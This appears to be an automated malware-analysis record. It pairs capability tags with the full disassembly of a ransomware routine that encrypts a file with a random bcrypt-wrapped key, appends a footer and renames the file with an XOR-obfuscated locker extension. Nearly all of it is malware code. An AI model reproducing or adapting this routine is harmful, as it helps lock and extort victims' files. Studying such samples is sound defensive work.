Function at 0x4102f0
Capabilities:
Encrypt or decrypt data via bcrypt
Get file attributes
Move file
Read file on windows
Set file attributes
Write file on windows

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x473541
mov eax, dword fs:[0]
push eax
push ecx
push ebx
push ecx
mov eax, 0x24f4
call fcn.00438c40
mov eax, dword [0x493018]
xor eax, ebp
mov dword [ebp - 0x1c], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov esi, edx
mov dword [ebp - 0x24b0], esi
mov dword [ebp - 0x2500], ecx
push esi
mov dword [ebp - 4], 0
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
test al, 1
je 0x410365
xor eax, 1
push eax
push esi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
push 0x487938
push esi
call fcn.00456d10
mov esi, eax
add esp, 8
mov dword [ebp - 0x24e4], esi
test esi, esi
jne 0x410391
push str.File_open_error_n
call fcn.00402270
add esp, 4
jmp 0x4111bd
push 2
push 0
push 0
push esi
call fcn.0045673a
push esi
call fcn.00452e61
mov ecx, edx
add esp, 0x14
mov edi, eax
mov dword [ebp - 0x24d4], ecx
or eax, ecx
jne 0x4103cf
push str.File_Size_is_Zero._n
call fcn.00402270
add esp, 4
push esi
call fcn.004530f8
add esp, 4
jmp 0x4111bd
test ecx, ecx
jl 0x4106b0
jg 0x4103e5
cmp edi, 0x158
jb 0x4106b0
push 2
push 0xffffffffffffffff
push 0xfffffea8
push esi
call fcn.0045673a
push 0x64
lea eax, [ebp - 0xa8]
push 0
push eax
call fcn.0044f430
mov ecx, dword fs:[0x2c]
add esp, 0x1c
mov eax, dword [0x4a06ec]
mov dword [ebp - 0x24c4], 0x7b6a6b63
mov word [ebp - 0x24c0], 0x6f7d
mov ecx, dword [ecx]
mov byte [ebp - 0x24c9], 0x2e
mov dword [ebp - 0x24ac], ecx
cmp eax, dword [ecx + 4]
jle 0x410490
push 0x4a06ec
call fcn.00437b73
add esp, 4
cmp dword [0x4a06ec], 0xffffffff
jne 0x410490
mov eax, dword [ebp - 0x24c4]
mov dword [0x49e304], eax
mov ax, word [ebp - 0x24c0]
mov word [0x49e308], ax
mov al, byte [ebp - 0x24c9]
push 0x478970
mov byte [0x49e30a], al
call fcn.00437f9a
add esp, 4
push 0x4a06ec
call fcn.00437b29
add esp, 4
mov al, byte [0x49e30a]
test al, al
je 0x4104ca
xor byte [0x49e304], 0x2e
xor byte [0x49e305], 0x2e
xor byte [0x49e306], 0x2e
xor byte [0x49e307], 0x2e
xor byte [0x49e308], 0x2e
xor byte [0x49e309], 0x2e
xor al, 0x2e
mov byte [0x49e30a], al
mov ecx, 0x49e304
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4104d2
push esi
sub ecx, edx
lea eax, [ebp - 0xa8]
push ecx
push 1
push eax
call fcn.004570e5
mov edx, dword [ebp - 0x24ac]
add esp, 0x10
mov eax, dword [0x4a0580]
mov dword [ebp - 0x24c4], 0x7b6a6b63
mov word [ebp - 0x24c0], 0x6f7d
mov byte [ebp - 0x24c9], 0x2e
cmp eax, dword [edx + 4]
jle 0x410574
push 0x4a0580
call fcn.00437b73
add esp, 4
cmp dword [0x4a0580], 0xffffffff
jne 0x41056e
mov eax, dword [ebp - 0x24c4]
mov dword [0x49f458], eax
mov ax, word [ebp - 0x24c0]
mov word [0x49f45c], ax
mov al, byte [ebp - 0x24c9]
push 0x478930
mov byte [0x49f45e], al
call fcn.00437f9a
add esp, 4
push 0x4a0580
call fcn.00437b29
add esp, 4
mov edx, dword [ebp - 0x24ac]
mov al, byte [0x49f45e]
test al, al
je 0x4105ae
xor byte [0x49f458], 0x2e
xor byte [0x49f459], 0x2e
xor byte [0x49f45a], 0x2e
xor byte [0x49f45b], 0x2e
xor byte [0x49f45c], 0x2e
xor byte [0x49f45d], 0x2e
xor al, 0x2e
mov byte [0x49f45e], al
mov ecx, 0x49f458
lea eax, [ecx + 1]
mov dword [ebp - 0x24d8], eax
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4105c0
sub ecx, dword [ebp - 0x24d8]
mov eax, dword [0x49ef88]
mov dword [ebp - 0x24d0], ecx
mov dword [ebp - 0x24c4], 0x7b6a6b63
mov word [ebp - 0x24c0], 0x6f7d
mov byte [ebp - 0x24c9], 0x2e
cmp eax, dword [edx + 4]
jle 0x410653
push 0x49ef88
call fcn.00437b73
add esp, 4
cmp dword [0x49ef88], 0xffffffff
jne 0x41064d
mov eax, dword [ebp - 0x24c4]
mov dword [0x49ea48], eax
mov ax, word [ebp - 0x24c0]
mov word [0x49ea4c], ax
mov al, byte [ebp - 0x24c9]
push 0x478950
mov byte [0x49ea4e], al
call fcn.00437f9a
add esp, 4
push 0x49ef88
call fcn.00437b29
add esp, 4
mov ecx, dword [ebp - 0x24d0]
mov al, byte [0x49ea4e]
test al, al
je 0x41068d
xor byte [0x49ea48], 0x2e
xor byte [0x49ea49], 0x2e
xor byte [0x49ea4a], 0x2e
xor byte [0x49ea4b], 0x2e
xor byte [0x49ea4c], 0x2e
xor byte [0x49ea4d], 0x2e
xor al, 0x2e
mov byte [0x49ea4e], al
push ecx
lea eax, [ebp - 0xa8]
push 0x49ea48
push eax
call fcn.00456960
add esp, 0xc
test eax, eax
jne 0x4106b0
push str.File_is_already_encrypted._n
jmp 0x4103b9
push 0x158
lea eax, [ebp - 0x208]
push 0
push eax
call fcn.0044f430
mov eax, dword fs:[0x2c]
add esp, 0xc
mov dword [ebp - 0x24c4], 0x7b6a6b63
mov word [ebp - 0x24c0], 0x6f7d
mov byte [ebp - 0x24c9], 0x2e
mov ecx, dword [eax]
mov eax, dword [0x4a038c]
cmp eax, dword [ecx + 4]
jle 0x410748
push 0x4a038c
call fcn.00437b73
add esp, 4
cmp dword [0x4a038c], 0xffffffff
jne 0x410748
mov eax, dword [ebp - 0x24c4]
mov dword [0x49f03c], eax
mov ax, word [ebp - 0x24c0]
mov word [0x49f040], ax
mov al, byte [ebp - 0x24c9]
push 0x478910
mov byte [0x49f042], al
call fcn.00437f9a
add esp, 4
push 0x4a038c
call fcn.00437b29
add esp, 4
mov al, byte [0x49f042]
test al, al
je 0x410782
xor byte [0x49f03c], 0x2e
xor byte [0x49f03d], 0x2e
xor byte [0x49f03e], 0x2e
xor byte [0x49f03f], 0x2e
xor byte [0x49f040], 0x2e
xor byte [0x49f041], 0x2e
xor al, 0x2e
mov byte [0x49f042], al
xor ecx, ecx
nop dword [eax]
nop dword [eax + eax]
mov al, byte [ecx + 0x49f03c]
lea ecx, [ecx + 1]
mov byte [ebp + ecx - 0x209], al
test al, al
jne 0x410790
mov eax, dword [ebp - 0x24d4]
xorps xmm0, xmm0
inc dword [0x4990f4]
push 0
mov dword [ebp - 0x200], edi
mov dword [ebp - 0x1fc], eax
movups xmmword [ebp - 0x3c], xmm0
movups xmmword [ebp - 0x2c], xmm0
call fcn.00456daa
add eax, dword [0x4990f4]
add esp, 4
mov dword [ebp - 0x24c4], edx
push eax
call fcn.00452eae
add esp, 4
xor esi, esi
call fcn.00452e8d
and eax, 0x800000ff
jns 0x4107fb
dec eax
or eax, 0xffffff00
inc eax
mov byte [ebp + esi - 0x3c], al
inc esi
cmp esi, 0x20
jl 0x4107e8
mov eax, dword [ebp - 0x2500]
mov ecx, dword [0x4970ec]
lea esi, [eax + eax*4]
shl esi, 3
lea eax, [ebp - 0x3c]
add ecx, esi
mov dword [ebp - 0x2508], esi
push ecx
push eax
call fcn.004015a0
mov eax, dword [0x4970ec]
lea ecx, [ebp - 0x24ac]
push 4
push ecx
push 0
push 0
push 0
push 0
lea ecx, [ebp - 0x24c8]
mov dword [ebp - 0x24c8], str.SHA1
push ecx
add eax, esi
mov dword [ebp - 0x24c4], 0
push 0x20
lea ecx, [ebp - 0x3c]
mov dword [ebp - 0x24d8], eax
push ecx
push dword [eax + 0x20]
mov dword [ebp - 0x24c0], 0
mov dword [ebp - 0x24ac], 0
call dword [sym.imp.bcrypt.dll_BCryptEncrypt]
mov esi, dword [ebp - 0x24e4]
test eax, eax
jne 0x4108c5
push 4
lea eax, [ebp - 0x24ac]
push eax
push dword [ebp - 0x24ac]
lea eax, [ebp - 0x1f0]
push eax
push 0
push 0
lea eax, [ebp - 0x24c8]
push eax
push 0x20
lea eax, [ebp - 0x3c]
push eax
mov eax, dword [ebp - 0x24d8]
push dword [eax + 0x20]
call dword [sym.imp.bcrypt.dll_BCryptEncrypt]
cmp dword [0x4939ec], 0x10
mov eax, 0x4939d8
push 0x1000
cmovae eax, dword [0x4939d8]
push 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0xf0], xmm0
movups xmm0, xmmword [eax + 0x10]
movups xmmword [ebp - 0xe0], xmm0
movups xmm0, xmmword [eax + 0x20]
movups xmmword [ebp - 0xd0], xmm0
movups xmm0, xmmword [eax + 0x30]
lea eax, [ebp - 0x14a8]
push eax
movups xmmword [ebp - 0xc0], xmm0
call fcn.0044f430
add esp, 0xc
lea eax, [ebp - 0x24a8]
push 0x1000
push 0
push eax
call fcn.0044f430
add esp, 0xc
push 0
push 0
push 0
push esi
call fcn.0045673a
mov ecx, dword [ebp - 0x24d4]
add esp, 0x10
test ecx, ecx
jg 0x4109b3
jl 0x410952
cmp edi, 0x2000
jae 0x41096a
mov edx, 1
xor eax, eax
mov dword [ebp - 0x24dc], edx
mov dword [ebp - 0x24ac], eax
jmp 0x410a15
test ecx, ecx
jg 0x4109b3
jl 0x410978
cmp edi, 0x100000
jae 0x410990
mov edx, 4
xor eax, eax
mov dword [ebp - 0x24dc], edx
mov dword [ebp - 0x24ac], eax
jmp 0x410a15
test ecx, ecx
jg 0x4109b3
jl 0x41099e
cmp edi, 0x1400000
jae 0x4109b3
mov edx, 0x200
xor eax, eax
mov dword [ebp - 0x24dc], edx
mov dword [ebp - 0x24ac], eax
jmp 0x410a15
push 0
push 0x12c000
push ecx
push edi
call fcn.00472be0
cdq
mov dword [ebp - 0x24dc], eax
mov eax, edx
mov dword [ebp - 0x24ac], eax
test eax, eax
jg 0x4109e8
jl 0x4109e1
mov edx, dword [ebp - 0x24dc]
cmp edx, 2
jae 0x4109ee
mov edx, 2
jmp 0x410a01
mov edx, dword [ebp - 0x24dc]
test eax, eax
jl 0x410a0f
jg 0x4109fc
cmp edx, 0x12c00
jbe 0x410a0f
mov edx, 0x12c00
xor eax, eax
mov dword [ebp - 0x24dc], edx
mov dword [ebp - 0x24ac], eax
mov ecx, dword [ebp - 0x24d4]
mov dword [ebp - 0x1f8], edx
mov dword [ebp - 0x1f4], eax
test ecx, ecx
jl 0x410d32
jg 0x410a33
test edi, edi
je 0x410d32
push 0x1000
lea eax, [ebp - 0x14a8]
push 0
push eax
call fcn.0044f430
add esp, 0xc
lea eax, [ebp - 0x14a8]
push esi
push 0x1000
push 1
push eax
call fcn.004570e5
add esp, 0x10
mov dword [ebp - 0x24d0], eax
test eax, eax
js 0x410f54
cmp eax, 0x1000
je 0x410a86
push esi
call fcn.00452ec0
add esp, 4
test eax, eax
jne 0x410f54
push 0x1000
lea eax, [ebp - 0x24a8]
push 0
push eax
call fcn.0044f430
mov eax, dword [ebp - 0x24d0]
lea ecx, [ebp - 0x24a8]
add esp, 0xc
cmp eax, 0x1000
setl byte [ebp - 0x2504]
push ecx
push dword [ebp - 0x2504]
mov ecx, dword [ebp - 0x2508]
add ecx, dword [0x4970ec]
push eax
lea eax, [ebp - 0x14a8]
push eax
call fcn.00401800
mov ecx, eax
mov dword [ebp - 0x24d8], ecx
cmp ecx, 0xffffffff
je 0x4103c1
mov eax, dword [ebp - 0x24d0]
cmp eax, 0x1000
jne 0x410afa
cmp ecx, eax
jne 0x4103c1
neg eax
push 1
cdq
push edx
push eax
push esi
call fcn.0045673a
push esi
push dword [ebp - 0x24d8]
lea eax, [ebp - 0x24a8]
push 1
push eax
call fcn.00456bf7
mov eax, dword [ebp - 0x24d0]
add esp, 0x20
mov ecx, dword [ebp - 0x24d4]
cdq
sub edi, eax
sbb ecx, edx
mov edx, dword [ebp - 0x24dc]
mov dword [ebp - 0x24d4], ecx
cmp edx, 1
jne 0x410b4e
cmp dword [ebp - 0x24ac], 0
je 0x410d20
mov eax, edx
mov esi, ecx
mov edx, dword [ebp - 0x24ac]
shld edx, eax, 0xc
mov dword [ebp - 0x24d0], edx
mov edx, edi
shl eax, 0xc
sub edx, eax
sbb esi, dword [ebp - 0x24d0]
add edx, 0x1000
mov dword [ebp - 0x24d8], edx
adc esi, 0
mov dword [ebp - 0x24e0], esi
mov esi, dword [ebp - 0x24e4]
js 0x410bc4
jg 0x410b92
test edx, edx
je 0x410bc4
mov ecx, dword [ebp - 0x24d0]
sub eax, 0x1000
push 1
sbb ecx, 0
push ecx
push eax
push esi
call fcn.0045673a
mov ecx, dword [ebp - 0x24e0]
add esp, 0x10
mov edi, dword [ebp - 0x24d8]
mov dword [ebp - 0x24d4], ecx
jmp 0x410a21
test edi, edi
jle 0x410d20
mov eax, edi
mov esi, 0x1000
cdq
idiv esi
test edx, edx
cmovne esi, edx
mov dword [ebp - 0x24d8], esi
lea esi, [eax - 1]
cmovne esi, eax
mov dword [ebp - 0x24e0], esi
test esi, esi
mov esi, dword [ebp - 0x24e4]
jle 0x410c1b
mov eax, dword [ebp - 0x24e0]
mov edx, 0x1000
imul edx
push 1
push edx
sub edi, eax
push eax
sbb ecx, edx
push esi
mov dword [ebp - 0x24d4], ecx
call fcn.0045673a
add esp, 0x10
push 0x1000
lea eax, [ebp - 0x14a8]
push 0
push eax
call fcn.0044f430
add esp, 0xc
lea eax, [ebp - 0x14a8]
push esi
push dword [ebp - 0x24d8]
push 1
push eax
call fcn.004570e5
add esp, 0x10
mov dword [ebp - 0x24d0], eax
test eax, eax
js 0x410f54
push esi
call fcn.00452ec0
add esp, 4
test eax, eax
jne 0x410f54
push 0x1000
push eax
lea eax, [ebp - 0x24a8]
push eax
call fcn.0044f430
add esp, 0xc
lea eax, [ebp - 0x24a8]
cmp dword [ebp - 0x24d8], 0x1000
setl byte [ebp - 0x24c0]
push eax
push dword [ebp - 0x24c0]
lea eax, [ebp - 0x14a8]
push dword [ebp - 0x24d0]
push eax
mov eax, dword [ebp - 0x2500]
lea ecx, [eax + eax*4]
mov eax, dword [0x4970ec]
lea ecx, [eax + ecx*8]
call fcn.00401800
mov ecx, eax
mov dword [ebp - 0x24e0], ecx
cmp ecx, 0xffffffff
je 0x4103c1
mov eax, dword [ebp - 0x24d0]
cmp eax, 0x1000
jne 0x410ce4
cmp ecx, eax
jne 0x4103c1
neg eax
push 1
cdq
push edx
push eax
push esi
call fcn.0045673a
push esi
push dword [ebp - 0x24e0]
lea eax, [ebp - 0x24a8]
push 1
push eax
call fcn.00456bf7
mov eax, dword [ebp - 0x24d0]
add esp, 0x20
mov ecx, dword [ebp - 0x24d4]
cdq
sub edi, eax
sbb ecx, edx
mov dword [ebp - 0x24d4], ecx
test ecx, ecx
jl 0x410d32
jg 0x410a33
test edi, edi
jne 0x410a21
push esi
push 1
lea eax, [ebp - 0x208]
push 0x158
push eax
call fcn.00456bf7
push esi
call fcn.004530f8
mov dword [ebp - 4], 2
add esp, 0x14
mov eax, dword fs:[0x2c]
mov dword [ebp - 0x24c4], 0x6a6b6300
mov dword [ebp - 0x24c0], 0x2e6f7d7b
mov esi, dword [eax]
mov eax, dword [0x49e400]
cmp eax, dword [esi + 4]
jle 0x410dc5
push 0x49e400
call fcn.00437b73
add esp, 4
cmp dword [0x49e400], 0xffffffff
jne 0x410dc5
mov eax, dword [ebp - 0x24c4]
mov dword [0x4a0404], eax
mov eax, dword [ebp - 0x24c0]
push 0x478900
mov dword [0x4a0408], eax
call fcn.00437f9a
add esp, 4
push 0x49e400
call fcn.00437b29
add esp, 4
mov al, byte [0x4a040b]
test al, al
je 0x410e06
xor byte [0x4a0404], 0x2e
xor byte [0x4a0405], 0x2e
xor byte [0x4a0406], 0x2e
xor byte [0x4a0407], 0x2e
xor byte [0x4a0408], 0x2e
xor byte [0x4a0409], 0x2e
xor byte [0x4a040a], 0x2e
xor al, 0x2e
mov byte [0x4a040b], al
mov ecx, 0x4a0404
mov dword [ebp - 0x24ec], 0
mov dword [ebp - 0x24e8], 0xf
mov byte [ebp - 0x24fc], 0
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x410e30
sub ecx, edx
push ecx
push 0x4a0404
lea ecx, [ebp - 0x24fc]
call fcn.00401ed0
push 0x50
lea eax, [ebp - 0x98]
mov byte [ebp - 4], 3
push 0
push eax
call fcn.0044f430
add esp, 0xc
lea ecx, [ebp - 0x98]
call fcn.004178c0
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x24fc]
cmp dword [ebp - 0x24e8], 0x10
mov eax, dword [ebp - 0x24ec]
cmovae ecx, dword [ebp - 0x24fc]
add eax, ecx
push eax
push ecx
lea eax, [ebp - 0x34]
push eax
lea ecx, [ebp - 0x98]
call fcn.00419d90
lea ecx, [ebp - 0x98]
mov byte [ebp - 4], 3
call fcn.00417800
cmp dword [ebp - 0x20], 8
lea eax, [ebp - 0x34]
mov edi, dword [ebp - 0x24b0]
cmovae eax, dword [ebp - 0x34]
push eax
push edi
call fcn.0044eaa3
mov edx, dword [ebp - 0x20]
add esp, 8
test eax, eax
setne byte [ebp - 0x24c9]
cmp edx, 8
jb 0x410f0a
mov ecx, dword [ebp - 0x34]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x410f00
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4111de
push edx
push ecx
call fcn.00437a20
add esp, 8
xor eax, eax
mov byte [ebp - 4], 2
mov edx, dword [ebp - 0x24e8]
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x20], 7
mov word [ebp - 0x34], ax
cmp edx, 0x10
jb 0x410f68
mov ecx, dword [ebp - 0x24fc]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x410f5e
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4111de
jmp 0x410f5e
push str.Read_File_Error
jmp 0x4103b9
push edx
push ecx
call fcn.00437a20
add esp, 8
cmp byte [ebp - 0x24c9], 0
je 0x410f85
push str.File_already_have_locker_Extension._n
call fcn.00402270
add esp, 4
xor eax, eax
jmp 0x4111c0
push 0x3fc
lea eax, [ebp - 0x4a8]
push 0
push eax
call fcn.0044f430
mov eax, dword [0x4a0658]
add esp, 0xc
mov dword [ebp - 0x24b4], 0x6a6b6300
mov dword [ebp - 0x24b0], 0x2e6f7d7b
cmp eax, dword [esi + 4]
jle 0x411002
push 0x4a0658
call fcn.00437b73
add esp, 4
cmp dword [0x4a0658], 0xffffffff
jne 0x411002
mov eax, dword [ebp - 0x24b4]
mov dword [0x49f21c], eax
mov eax, dword [ebp - 0x24b0]
push 0x4788f0
mov dword [0x49f220], eax
call fcn.00437f9a
add esp, 4
push 0x4a0658
call fcn.00437b29
add esp, 4
mov al, byte [0x49f223]
test al, al
je 0x411043
xor byte [0x49f21c], 0x2e
xor byte [0x49f21d], 0x2e
xor byte [0x49f21e], 0x2e
xor byte [0x49f21f], 0x2e
xor byte [0x49f220], 0x2e
xor byte [0x49f221], 0x2e
xor byte [0x49f222], 0x2e
xor al, 0x2e
mov byte [0x49f223], al
mov ecx, 0x49f21c
mov dword [ebp - 0x24ec], 0
mov dword [ebp - 0x24e8], 0xf
mov byte [ebp - 0x24fc], 0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x411066
sub ecx, edx
push ecx
push 0x49f21c
lea ecx, [ebp - 0x24fc]
call fcn.00401ed0
push 0x50
lea eax, [ebp - 0x98]
mov byte [ebp - 4], 5
push 0
push eax
call fcn.0044f430
add esp, 0xc
lea ecx, [ebp - 0x98]
call fcn.004178c0
mov byte [ebp - 4], 6
lea ecx, [ebp - 0x24fc]
cmp dword [ebp - 0x24e8], 0x10
mov eax, dword [ebp - 0x24ec]
cmovae ecx, dword [ebp - 0x24fc]
add eax, ecx
push eax
push ecx
lea eax, [ebp - 0x34]
push eax
lea ecx, [ebp - 0x98]
call fcn.00419d90
lea ecx, [ebp - 0x98]
call fcn.00417800
cmp dword [ebp - 0x20], 8
lea eax, [ebp - 0x34]
cmovae eax, dword [ebp - 0x34]
push eax
push edi
lea eax, [ebp - 0x4a8]
push 0x4879d0
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
mov edx, dword [ebp - 0x20]
add esp, 0x10
cmp edx, 8
jb 0x41113a
mov ecx, dword [ebp - 0x34]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x411130
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4111e3
push edx
push ecx
call fcn.00437a20
add esp, 8
mov edx, dword [ebp - 0x24e8]
xor eax, eax
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x20], 7
mov word [ebp - 0x34], ax
cmp edx, 0x10
jb 0x411184
mov ecx, dword [ebp - 0x24fc]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x41117a
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4111e3
push edx
push ecx
call fcn.00437a20
add esp, 8
lea eax, [ebp - 0x4a8]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_MoveFileW]
xor eax, eax
jmp 0x4111c0
or eax, 0xffffffff
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x1c]
xor ecx, ebp
call fcn.004379df
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
call fcn.0045279a
call fcn.0045279a
int3